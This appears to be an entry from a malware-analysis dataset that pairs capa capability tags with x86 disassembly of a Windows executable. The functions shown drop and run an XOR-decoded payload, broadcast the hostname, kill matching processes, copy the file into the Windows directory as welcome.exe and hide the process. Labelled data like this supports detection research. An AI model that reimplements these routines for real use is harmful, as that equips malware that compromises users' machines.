joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401db1
Capabilities:
Create process on windows
Delete file
Encode data using xor
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
xor esi, esi
push dword [0x40e460]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push esi
push dword [0x40e464]
mov edi, eax
mov dword [ebp - 4], edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [0x40e460], esi
jbe 0x401e14
xor byte [eax + edi], 0x17
inc eax
cmp eax, dword [0x40e460]
jb 0x401e07
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00403e00
mov edi, 0x200
lea eax, [ebp - 0x308]
push edi
push esi
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 0x308]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401f70
lea eax, [ebp - 0x108]
push 0x40d100
push eax
call fcn.00404360
lea eax, [ebp - 0x308]
push eax
call fcn.004041a0
add esp, 0xc
mov ebx, eax
dec ebx
je 0x401ebe
cmp byte [ebp + ebx - 0x308], 0x5c
jne 0x401e75
lea eax, [ebp - 0x308]
push eax
call fcn.004041a0
push 0xfffffffffffffffd
pop ecx
sub ecx, ebx
add eax, ecx
push eax
lea eax, [ebp + ebx - 0x308]
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.00403e60
lea eax, [ebp - 0x108]
push 0x40d0fc
push eax
call fcn.00404360
add esp, 0x18
push esi
push 0x80
push 2
push esi
push 1
lea eax, [ebp - 0x108]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401f70
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401f70
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push edi
lea eax, [ebp - 0x508]
push esi
push eax
call fcn.00403e00
lea eax, [ebp - 0x508]
push str.notepad
push eax
call fcn.00404360
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.004041a0
pop ecx
lea eax, [ebp + eax - 0x508]
push eax
call fcn.00404360
pop ecx
lea eax, [ebp - 0x508]
pop ecx
push 5
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402694
Capabilities:
Get hostname
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.00403e00
mov eax, 0xff
mov byte [ebp - 0x154], 0x67
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x153]
push ebx
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x153]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, 0x40d138
lea eax, [ebp - 0x153]
push esi
push eax
call fcn.00404360
push esi
call fcn.004041a0
mov ecx, dword [ebp - 4]
add esp, 0xc
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
push str.255.255.255.0
call fcn.004027f0
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
lea eax, [ebp - 0x54]
push eax
call esi
mov edi, dword [sym.imp.WS2_32.dll_htons]
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_sendto]
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.255.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call ebx
push 0x40
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
push str.255.0.0.0
call fcn.004027f0
lea eax, [ebp - 0x54]
push eax
call esi
push 0x4e
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], 2
call edi
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
lea eax, [ebp - 0x154]
push dword [ebp - 4]
push eax
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4027f0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea eax, [ebp - 0x6c]
push 0x40
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push 4
mov edi, eax
lea esi, [ebp - 0x2c]
pop ebx
push 4
push 0
push esi
call fcn.00403e00
add esp, 0xc
add esi, 4
dec ebx
jne 0x402824
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.004041a0
test eax, eax
pop ecx
jbe 0x402885
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xc], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x402878
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp - 0xc]
call fcn.00403e60
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp - 0xc], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.004041a0
cmp esi, eax
pop ecx
jb 0x40284f
push edi
call fcn.004041a0
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x2c]
push eax
call fcn.00403e60
add esp, 0x10
lea esi, [ebp - 0x1c]
push 4
pop edi
push 4
push 0
push esi
call fcn.00403e00
add esp, 0xc
add esi, 4
dec edi
jne 0x4028a7
mov edi, dword [ebp + 8]
xor esi, esi
push edi
mov dword [ebp - 4], esi
xor ebx, ebx
call fcn.004041a0
test eax, eax
pop ecx
jbe 0x40290b
lea eax, [ebp - 0x1c]
mov dword [ebp + 8], eax
cmp byte [edi + esi], 0x2e
lea eax, [esi + 1]
mov dword [ebp - 8], eax
jne 0x4028fe
sub esi, ebx
add ebx, edi
push esi
push ebx
push dword [ebp + 8]
call fcn.00403e60
mov ebx, dword [ebp - 8]
add esp, 0xc
inc dword [ebp - 4]
add dword [ebp + 8], 4
mov eax, ebx
push edi
mov esi, eax
call fcn.004041a0
cmp esi, eax
pop ecx
jb 0x4028d5
push edi
call fcn.004041a0
sub eax, ebx
add ebx, edi
push eax
mov eax, dword [ebp - 4]
push ebx
lea eax, [ebp + eax*4 - 0x1c]
push eax
call fcn.00403e60
add esp, 0x10
xor esi, esi
mov edi, 0x40d140
push 3
lea eax, [ebp + esi - 0x1c]
push edi
push eax
call fcn.00404440
add esp, 0xc
test eax, eax
jne 0x402949
lea eax, [ebp + esi - 0x2c]
push eax
jmp 0x40294a
push edi
push dword [ebp + 0xc]
call fcn.00404360
pop ecx
cmp esi, 0xc
pop ecx
je 0x402968
push 0x40d13c
push dword [ebp + 0xc]
call fcn.00404360
pop ecx
pop ecx
add esi, 4
cmp esi, 0x10
jl 0x40292e
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402977
Capabilities:
Get hostname
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push ebx
push esi
push edi
push 1
pop edi
xor esi, esi
push edi
push 2
push esi
call fcn.00401538
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402a3e
mov dword [ebp - 0x194], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x190], ebx
add edi, 0x7f
push 0x7f
lea eax, [ebp - 0x8f]
push esi
push eax
mov byte [ebp - 0x90], 0x6f
mov dword [ebp - 8], edi
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x8f]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp + 8]
push 0x10
push eax
mov eax, dword [ebp - 8]
inc eax
push esi
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_sendto]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x194]
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x402a37
cmp eax, esi
jne 0x402a27
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x4029b8
jmp 0x402a37
push esi
lea eax, [ebp - 0x90]
push edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x402dec
Capabilities:
Get graphical window text
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc08
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.004031e4
lea eax, [ebp - 0x408]
push eax
call fcn.004042a4
mov esi, 0x800
lea eax, [ebp - 0xc08]
push esi
push 0
push eax
call fcn.00403e00
add esp, 0x10
cmp dword [ebp + 0xc], 1
jne 0x402e74
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402e85
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.004042a4
pop ecx
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp + 8], eax
lea eax, [ebp - 0xc08]
push eax
call fcn.004041a0
test eax, eax
pop ecx
jbe 0x402ee2
xor edi, edi
cmp dword [0x40d18c], edi
jbe 0x402ee2
mov dword [ebp - 4], str.MSWDM.EXE
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0xc08]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f3d
add dword [ebp - 4], 4
inc edi
cmp edi, dword [0x40d18c]
jb 0x402ec0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402f96
cmp dword [ebp + 0xc], 1
jne 0x402f0a
lea eax, [ebp - 0xc08]
push esi
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x402f1b
lea eax, [ebp - 0xc08]
push eax
push esi
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0xc08]
push eax
call fcn.004042a4
pop ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402dec
push 2
push dword [ebp + 8]
jmp 0x402e95
xor ebx, ebx
xor esi, esi
cmp dword [0x40d1a4], ebx
jbe 0x402f6c
mov edi, 0x40d190
push dword [edi]
lea eax, [ebp - 0x408]
push eax
call fcn.00402f9d
test eax, eax
jg 0x402f96
inc esi
add edi, 4
cmp esi, dword [0x40d1a4]
jb 0x402f4e
push dword [ebp - 8]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
je 0x402f96
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x402f96
lea eax, [ebp - 0x408]
push 1
push eax
call fcn.00402ff6
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x402ff6
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x50
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 0x50
push ebx
push esi
call fcn.00403e00
add esp, 0xc
push esi
push dword [ebp + 8]
call fcn.004030f7
test eax, eax
je 0x40304b
push esi
call fcn.004042a4
mov dword [esp], str.MICROSOFT
push eax
call fcn.00402f9d
test eax, eax
jle 0x40304b
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4030f0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, 0x105
lea eax, [ebp - 0x108]
push esi
push ebx
push eax
call fcn.00403e00
push esi
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
push str.welcome.exe
push eax
call fcn.00404360
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
pop ecx
lea eax, [ebp - 0x108]
push ebx
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
push 0x7d0
call edi
push ebx
lea eax, [ebp - 0x108]
push dword [ebp + 8]
push eax
call esi
test eax, eax
jne 0x4030f0
cmp dword [ebp + 0xc], ebx
je 0x4030f0
push 1
call fcn.004017c5
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4030f7
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and dword [ebp - 4], 0
push ebx
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x403148
push esi
call fcn.00404651
pop ecx
mov ebx, eax
push ebx
push esi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403148
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push str.VarFileInfoTranslation
push ebx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x40314f
xor eax, eax
jmp 0x4031de
push 0x80
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00403e00
add esp, 0xc
xor esi, esi
test dword [ebp - 4], 0xfffffffc
jbe 0x40319b
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x90]
push str.StringFileInfo_04x_04xCompanyName
push eax
call fcn.004045ff
mov eax, dword [ebp - 4]
add esp, 0x10
inc esi
shr eax, 2
cmp esi, eax
jb 0x403170
push 0x50
pop esi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
mov dword [ebp - 0x10], esi
call sub.VERSION.dll_VerQueryValueA
push 0x4f
push dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.00403e60
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
pop eax
pop esi
pop ebx
leave
ret 8
Function at 0x4031e4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
call fcn.00403309
cmp eax, 1
jne 0x403252
mov edi, 0x128
push edi
call fcn.004044ec
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
push esi
push edi
call sub.KERNEL32.dll_Process32First
mov ebx, dword [ebp + 8]
test eax, eax
jne 0x403232
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x403302
cmp dword [esi + 8], ebx
jne 0x403223
add esi, 0x24
push esi
call fcn.004041a0
push eax
push esi
push dword [ebp + 0xc]
call fcn.00403e60
add esp, 0x10
jmp 0x403302
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumProcessModules
push eax
mov dword [ebp - 4], eax
call esi
push str.GetModuleFileNameExA
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call esi
push dword [ebp + 8]
mov dword [ebp - 8], eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, eax
test ebx, ebx
je 0x4032fd
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push 4
push eax
push ebx
call dword [ebp - 0xc]
test eax, eax
je 0x4032fd
mov esi, 0x100
lea eax, [ebp - 0x110]
push esi
push 0
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x110]
push esi
push eax
push dword [ebp + 8]
push ebx
call dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
call edi
lea eax, [ebp - 0x110]
push eax
call fcn.004041a0
push eax
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 0xc]
call fcn.00403e60
add esp, 0x10
push dword [ebp - 4]
call edi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40356e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403e00
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404360
lea eax, [ebp - 0x104]
push str.sys.try
push eax
call fcn.00404360
add esp, 0x1c
lea eax, [ebp - 0x104]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4035d5
xor eax, eax
jmp 0x4035ec
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
pop eax
leave
ret 4
Function at 0x4035f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
mov esi, 0x104
push edi
push esi
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.00403e00
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call fcn.00404360
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.00404360
add esp, 0x1c
push dword [ebp + 8]
call fcn.004036df
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4036d9
cmp byte [ebp - 0x31c], 0x2e
je 0x4036c0
mov eax, dword [ebp - 0x348]
and eax, 0x10
cmp al, 0x10
jne 0x4036c0
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00403e00
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00404360
lea eax, [ebp - 0x104]
push 0x40d10c
push eax
call fcn.00404360
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00404360
add esp, 0x24
lea eax, [ebp - 0x104]
push eax
call fcn.004035f0
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403659
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
leave
ret 4
Function at 0x403a14
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
push 1
rep stosd dword es:[edi], eax
pop edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
xor esi, esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x28], edi
mov word [ebp - 0x24], 0xa
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403a84
cmp dword [ebp + 0x10], esi
je 0x403a80
cmp dword [ebp + 0x10], 0xffffffff
jne 0x403a68
push 0xffffffffffffffff
jmp 0x403a6b
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x403a84
cmp eax, 0x102
je 0x403a84
mov eax, edi
jmp 0x403a86
xor eax, eax
pop edi
pop esi
leave
ret 0xc

Function at 0x403c6f
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
push edi
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor edi, edi
cmp esi, edi
je 0x403cbd
push str.RegisterServiceProcess
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
cmp ebx, edi
je 0x403cb6
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call fcn.00404767
push eax
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x190]
pop ecx
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cec
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x403dad
mov esi, dword [ebp + 0x10]
push esi
call fcn.004041a0
test eax, eax
pop ecx
jbe 0x403d13
push esi
call fcn.004041a0
cmp byte [eax + esi - 1], 0x21
pop ecx
jne 0x403d13
push esi
call fcn.00401856
jmp 0x403dad
mov dword [0x40e46c], edi
call fcn.0040127d
call fcn.00401492
test eax, eax
jne 0x403d7e
call section..text
test eax, eax
je 0x403d3e
push 0x40e448
call fcn.0040107c
test eax, eax
jne 0x403d54
cmp dword [0x40e46c], edi
je 0x403dad
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403dad
call fcn.0040106f
test eax, eax
je 0x403d6a
call fcn.00401334
push esi
call fcn.004015c3
jmp 0x403dad
cmp dword [0x40e460], edi
jbe 0x403d77
call fcn.00401db1
call fcn.00401334
jmp 0x403dad
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp + 0x10]
push eax
push edi
push edi
push 0x4024e2
push edi
push edi
call esi
mov ebx, eax
lea eax, [ebp + 0x10]
push eax
push edi
push edi
push 0x4033f7
push edi
push edi
call esi
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4070f5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d468
cmp edx, dword [eax]
je 0x407117
add eax, 8
inc ecx
cmp eax, 0x40d4f8
jl 0x407108
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d468]
jne 0x407245
mov eax, dword [0x40e498]
cmp eax, 1
je 0x40721f
test eax, eax
jne 0x407148
cmp dword [0x40d39c], 1
je 0x40721f
cmp edx, 0xfc
je 0x407245
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40717f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404350
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004041a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4071c2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004041a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b5ec
push edi
call fcn.00408c80
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404350
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404360
lea eax, [ebp - 0xa0]
push 0x40b5cc
push eax
call fcn.00404360
push dword [esi + 0x40d46c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404360
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bf2
add esp, 0x2c
pop edi
jmp 0x407245
lea eax, [ebp + 8]
lea esi, [esi + 0x40d46c]
push 0
push eax
push dword [esi]
call fcn.004041a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret